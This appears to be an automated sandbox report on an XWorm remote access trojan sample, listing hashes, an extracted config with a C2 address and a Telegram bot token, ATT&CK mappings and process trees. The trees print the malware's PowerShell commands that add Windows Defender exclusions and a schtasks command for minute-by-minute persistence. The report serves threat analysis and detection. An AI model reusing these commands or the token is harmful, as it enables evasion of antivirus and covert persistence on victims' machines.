xworm | cc28640de6594899debc7afeccd103550c9925c35fb6ac86503acb80169d6f2c

General

Target

blessnig.exe
Size

70KB
MD5

e8f1d07ff83c5c50eed5ed71c6f0a349
SHA1

77fb738a98dbcd711438a55aa6afb34b0a61d503
SHA256

cc28640de6594899debc7afeccd103550c9925c35fb6ac86503acb80169d6f2c
SHA512

e1509708747273de776771b7fbde835a1a23434ede474e861d12b8253595406ad3a1427da3deff3ac2965b4f6e02748d67bc8630a460779587a2c3152dad8acd
SSDEEP

1536:Cz0Jl56GYl8zQ8kk9WxDS8jN4WUvK9b+ORkEQlq6R+2OCOgrzn+C:Tb6GI8zQTk9OO8+WL9b+tES+2OCOgf+C

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

blood-pattern.gl.at.ply.gg:24558

Attributes

Install_directory
%AppData%
install_file
USB.exe
telegram
https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/memory/2784-1-0x0000000000DD0000-0x0000000000DE8000-memory.dmp	family_xworm
behavioral2/files/0x000e000000023b75-59.dat	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3820	powershell.exe
2268	powershell.exe
1384	powershell.exe
1936	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	blessnig.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	blessnig.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	blessnig.exe

Executes dropped EXE 3 IoCs

pid	Process
1432	security
1156	security
4628	security

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\security = "C:\\Users\\Admin\\AppData\\Roaming\\security"	blessnig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3016	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2784	blessnig.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3820	powershell.exe
3820	powershell.exe
2268	powershell.exe
2268	powershell.exe
1384	powershell.exe
1384	powershell.exe
1936	powershell.exe
1936	powershell.exe
2784	blessnig.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	blessnig.exe
Token: SeDebugPrivilege	3820	powershell.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	2784	blessnig.exe
Token: SeDebugPrivilege	1432	security
Token: SeDebugPrivilege	1156	security
Token: SeDebugPrivilege	4628	security

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2784	blessnig.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 3820	2784	blessnig.exe	83
PID 2784 wrote to memory of 3820	2784	blessnig.exe	83
PID 2784 wrote to memory of 2268	2784	blessnig.exe	85
PID 2784 wrote to memory of 2268	2784	blessnig.exe	85
PID 2784 wrote to memory of 1384	2784	blessnig.exe	87
PID 2784 wrote to memory of 1384	2784	blessnig.exe	87
PID 2784 wrote to memory of 1936	2784	blessnig.exe	89
PID 2784 wrote to memory of 1936	2784	blessnig.exe	89
PID 2784 wrote to memory of 3016	2784	blessnig.exe	91
PID 2784 wrote to memory of 3016	2784	blessnig.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\blessnig.exe
"C:\Users\Admin\AppData\Local\Temp\blessnig.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\blessnig.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'blessnig.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1936
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "security" /tr "C:\Users\Admin\AppData\Roaming\security"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3016

C:\Users\Admin\AppData\Roaming\security
C:\Users\Admin\AppData\Roaming\security
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1432

C:\Users\Admin\AppData\Roaming\security
C:\Users\Admin\AppData\Roaming\security
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1156

C:\Users\Admin\AppData\Roaming\security
C:\Users\Admin\AppData\Roaming\security
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
750e4be22a6fdadd7778a388198a9ee3

SHA1
8feb2054d8a3767833dd972535df54f0c3ab6648

SHA256
26209c196c9c45202d27468ea707b2b46f375bb612d50271924a28f9210df6a1

SHA512
b0415087dfc32908b449b876b395a607698b0f7b72031916b6fe7c002e4b163ba318b7e85c8ce41f007429e666974c04967bc14345e3f4614e34d94f5c8ae804

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\security.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
c10cfa26c677940868333b5d12995fe7

SHA1
8bd4f8a130ab061d82aa396e67275e159cdf84d4

SHA256
56ef5227bacb05d5422871c60972b5cbc6b3a4a035ce4f7d747470905dbc239a

SHA512
1362577adbf32088b4be84dae4007b9688874e4e496a7d2108e11aef065799123b2df7fb88dc04b18837cc1062d4059b042ae8388a4916838792699d96c130f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
da185fddf7e751e39023edde12930f37

SHA1
657fcb7fda401b69d3bb97e7b6abf126ac36d4b2

SHA256
8928226805a92acd76d21e1a276176d9af3ca1ec31f14e45a2b4b88f4722cad5

SHA512
db7bc02a1bd86d587840a56334dee9cb80aa0a8635cd2eb1c490bc5466659350de4d625f320731e34fac235016515d0dddc05a6081149dc6c2e82c262be6b975

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ba169f4dcbbf147fe78ef0061a95e83b

SHA1
92a571a6eef49fff666e0f62a3545bcd1cdcda67

SHA256
5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1

SHA512
8d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_25kz24lb.vgo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\security

Filesize
70KB

MD5
e8f1d07ff83c5c50eed5ed71c6f0a349

SHA1
77fb738a98dbcd711438a55aa6afb34b0a61d503

SHA256
cc28640de6594899debc7afeccd103550c9925c35fb6ac86503acb80169d6f2c

SHA512
e1509708747273de776771b7fbde835a1a23434ede474e861d12b8253595406ad3a1427da3deff3ac2965b4f6e02748d67bc8630a460779587a2c3152dad8acd

Download Submit
memory/2784-55-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/2784-0-0x00007FFBE16B3000-0x00007FFBE16B5000-memory.dmp

Filesize
8KB

Download
memory/2784-56-0x00007FFBE16B3000-0x00007FFBE16B5000-memory.dmp

Filesize
8KB

Download
memory/2784-57-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/2784-1-0x0000000000DD0000-0x0000000000DE8000-memory.dmp

Filesize
96KB

Download
memory/3820-17-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/3820-16-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/3820-13-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/3820-12-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/3820-11-0x0000016856880000-0x00000168568A2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads